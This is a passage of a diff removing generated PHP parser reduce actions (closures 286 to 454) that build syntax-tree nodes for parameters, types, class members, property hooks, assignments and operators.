Modifiers::PRIVATE; - }, - 286 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC_SET; - }, - 287 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED_SET; - }, - 288 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE_SET; - }, - 289 => static function ($self, $stackPos) { - $self->semValue = Modifiers::READONLY; - }, - 290 => static function ($self, $stackPos) { - $self->semValue = new Node\Param($self->semStack[$stackPos-(7-6)], null, $self->semStack[$stackPos-(7-3)], $self->semStack[$stackPos-(7-4)], $self->semStack[$stackPos-(7-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(7-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(7-2)], $self->semStack[$stackPos-(7-1)], $self->semStack[$stackPos-(7-7)]); - $self->checkParam($self->semValue); - $self->addPropertyNameToHooks($self->semValue); - }, - 291 => static function ($self, $stackPos) { - $self->semValue = new Node\Param($self->semStack[$stackPos-(9-6)], $self->semStack[$stackPos-(9-8)], $self->semStack[$stackPos-(9-3)], $self->semStack[$stackPos-(9-4)], $self->semStack[$stackPos-(9-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(9-2)], $self->semStack[$stackPos-(9-1)], $self->semStack[$stackPos-(9-9)]); - $self->checkParam($self->semValue); - $self->addPropertyNameToHooks($self->semValue); - }, - 292 => static function ($self, $stackPos) { - $self->semValue = new Node\Param(new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])), null, $self->semStack[$stackPos-(6-3)], $self->semStack[$stackPos-(6-4)], $self->semStack[$stackPos-(6-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(6-2)], $self->semStack[$stackPos-(6-1)]); - }, - 293 => null, - 294 => static function ($self, $stackPos) { - $self->semValue = new Node\NullableType($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 295 => static function ($self, $stackPos) { - $self->semValue = new Node\UnionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 296 => null, - 297 => null, - 298 => static function ($self, $stackPos) { - $self->semValue = new Node\Name('static', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 299 => static function ($self, $stackPos) { - $self->semValue = $self->handleBuiltinTypes($self->semStack[$stackPos-(1-1)]); - }, - 300 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier('array', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 301 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier('callable', $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 302 => null, - 303 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 304 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 305 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 306 => null, - 307 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 308 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 309 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 310 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 311 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 312 => static function ($self, $stackPos) { - $self->semValue = new Node\IntersectionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 313 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 314 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 315 => static function ($self, $stackPos) { - $self->semValue = new Node\IntersectionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 316 => null, - 317 => static function ($self, $stackPos) { - $self->semValue = new Node\NullableType($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 318 => static function ($self, $stackPos) { - $self->semValue = new Node\UnionType($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 319 => null, - 320 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 321 => null, - 322 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 323 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(2-2)]; - }, - 324 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 325 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 326 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-2)]; - }, - 327 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-2)]); - }, - 328 => static function ($self, $stackPos) { - $self->semValue = new Node\VariadicPlaceholder($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 329 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 330 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 331 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(1-1)], false, false, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 332 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(2-2)], true, false, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 333 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(2-2)], false, true, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 334 => static function ($self, $stackPos) { - $self->semValue = new Node\Arg($self->semStack[$stackPos-(3-3)], false, false, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(3-1)]); - }, - 335 => null, - 336 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 337 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 338 => null, - 339 => null, - 340 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 341 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 342 => static function ($self, $stackPos) { - $self->semValue = new Node\StaticVar($self->semStack[$stackPos-(1-1)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 343 => static function ($self, $stackPos) { - $self->semValue = new Node\StaticVar($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 344 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(2-2)] !== null) { $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; } else { $self->semValue = $self->semStack[$stackPos-(2-1)]; } - }, - 345 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 346 => static function ($self, $stackPos) { - $nop = $self->maybeCreateZeroLengthNop($self->tokenPos);; - if ($nop !== null) { $self->semStack[$stackPos-(1-1)][] = $nop; } $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 347 => static function ($self, $stackPos) { - $self->semValue = new Stmt\Property($self->semStack[$stackPos-(5-2)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-1)]); - }, - 348 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ClassConst($self->semStack[$stackPos-(5-4)], $self->semStack[$stackPos-(5-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(5-1)]); - $self->checkClassConst($self->semValue, $stackPos-(5-2)); - }, - 349 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ClassConst($self->semStack[$stackPos-(6-5)], $self->semStack[$stackPos-(6-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos]), $self->semStack[$stackPos-(6-1)], $self->semStack[$stackPos-(6-4)]); - $self->checkClassConst($self->semValue, $stackPos-(6-2)); - }, - 350 => static function ($self, $stackPos) { - $self->semValue = new Stmt\ClassMethod($self->semStack[$stackPos-(10-5)], ['type' => $self->semStack[$stackPos-(10-2)], 'byRef' => $self->semStack[$stackPos-(10-4)], 'params' => $self->semStack[$stackPos-(10-7)], 'returnType' => $self->semStack[$stackPos-(10-9)], 'stmts' => $self->semStack[$stackPos-(10-10)], 'attrGroups' => $self->semStack[$stackPos-(10-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - $self->checkClassMethod($self->semValue, $stackPos-(10-2)); - }, - 351 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUse($self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 352 => static function ($self, $stackPos) { - $self->semValue = new Stmt\EnumCase($self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-4)], $self->semStack[$stackPos-(5-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 353 => static function ($self, $stackPos) { - $self->semValue = null; /* will be skipped */ - }, - 354 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 355 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 356 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 357 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 358 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Precedence($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 359 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(5-1)][0], $self->semStack[$stackPos-(5-1)][1], $self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 360 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], $self->semStack[$stackPos-(4-3)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 361 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], null, $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 362 => static function ($self, $stackPos) { - $self->semValue = new Stmt\TraitUseAdaptation\Alias($self->semStack[$stackPos-(4-1)][0], $self->semStack[$stackPos-(4-1)][1], null, $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 363 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)]); - }, - 364 => null, - 365 => static function ($self, $stackPos) { - $self->semValue = array(null, $self->semStack[$stackPos-(1-1)]); - }, - 366 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 367 => null, - 368 => null, - 369 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 370 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 371 => null, - 372 => null, - 373 => static function ($self, $stackPos) { - $self->checkModifier($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 374 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC; - }, - 375 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED; - }, - 376 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE; - }, - 377 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PUBLIC_SET; - }, - 378 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PROTECTED_SET; - }, - 379 => static function ($self, $stackPos) { - $self->semValue = Modifiers::PRIVATE_SET; - }, - 380 => static function ($self, $stackPos) { - $self->semValue = Modifiers::STATIC; - }, - 381 => static function ($self, $stackPos) { - $self->semValue = Modifiers::ABSTRACT; - }, - 382 => static function ($self, $stackPos) { - $self->semValue = Modifiers::FINAL; - }, - 383 => static function ($self, $stackPos) { - $self->semValue = Modifiers::READONLY; - }, - 384 => null, - 385 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 386 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 387 => static function ($self, $stackPos) { - $self->semValue = new Node\VarLikeIdentifier(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 388 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyItem($self->semStack[$stackPos-(1-1)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 389 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyItem($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 390 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 391 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 392 => static function ($self, $stackPos) { - $self->semValue = []; - }, - 393 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyHook($self->semStack[$stackPos-(5-4)], $self->semStack[$stackPos-(5-5)], ['flags' => $self->semStack[$stackPos-(5-2)], 'byRef' => $self->semStack[$stackPos-(5-3)], 'params' => [], 'attrGroups' => $self->semStack[$stackPos-(5-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - $self->checkPropertyHook($self->semValue, null); - }, - 394 => static function ($self, $stackPos) { - $self->semValue = new Node\PropertyHook($self->semStack[$stackPos-(8-4)], $self->semStack[$stackPos-(8-8)], ['flags' => $self->semStack[$stackPos-(8-2)], 'byRef' => $self->semStack[$stackPos-(8-3)], 'params' => $self->semStack[$stackPos-(8-6)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - $self->checkPropertyHook($self->semValue, $stackPos-(8-5)); - }, - 395 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 396 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 397 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 398 => static function ($self, $stackPos) { - $self->semValue = 0; - }, - 399 => static function ($self, $stackPos) { - $self->checkPropertyHookModifiers($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $stackPos-(2-2)); $self->semValue = $self->semStack[$stackPos-(2-1)] | $self->semStack[$stackPos-(2-2)]; - }, - 400 => null, - 401 => null, - 402 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 403 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 404 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 405 => null, - 406 => null, - 407 => static function ($self, $stackPos) { - $self->semValue = new Expr\Assign($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 408 => static function ($self, $stackPos) { - $self->semValue = new Expr\Assign($self->fixupArrayDestructuring($self->semStack[$stackPos-(3-1)]), $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 409 => static function ($self, $stackPos) { - $self->semValue = new Expr\Assign($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 410 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignRef($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 411 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignRef($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - if (!$self->phpVersion->allowsAssignNewByReference()) { - $self->emitError(new Error('Cannot assign new by reference', $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos]))); - } - - }, - 412 => null, - 413 => null, - 414 => static function ($self, $stackPos) { - $self->semValue = new Expr\Clone_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 415 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Plus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 416 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Minus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 417 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Mul($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 418 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Div($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 419 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Concat($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 420 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Mod($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 421 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\BitwiseAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 422 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\BitwiseOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 423 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\BitwiseXor($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 424 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\ShiftLeft($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 425 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\ShiftRight($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 426 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Pow($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 427 => static function ($self, $stackPos) { - $self->semValue = new Expr\AssignOp\Coalesce($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 428 => static function ($self, $stackPos) { - $self->semValue = new Expr\PostInc($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 429 => static function ($self, $stackPos) { - $self->semValue = new Expr\PreInc($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 430 => static function ($self, $stackPos) { - $self->semValue = new Expr\PostDec($self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 431 => static function ($self, $stackPos) { - $self->semValue = new Expr\PreDec($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 432 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BooleanOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 433 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BooleanAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 434 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\LogicalOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 435 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\LogicalAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 436 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\LogicalXor($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 437 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseOr($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 438 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 439 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 440 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseXor($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 441 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Concat($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 442 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Plus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 443 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Minus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 444 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Mul($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 445 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Div($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 446 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Mod($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 447 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\ShiftLeft($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 448 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\ShiftRight($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 449 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Pow($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 450 => static function ($self, $stackPos) { - $self->semValue = new Expr\UnaryPlus($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 451 => static function ($self, $stackPos) { - $self->semValue = new Expr\UnaryMinus($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 452 => static function ($self, $stackPos) { - $self->semValue = new Expr\BooleanNot($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 453 => static function ($self, $stackPos) { - $self->semValue = new Expr\BitwiseNot($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 454 => static function ($self, $stackPos) { - $self->semValue = new 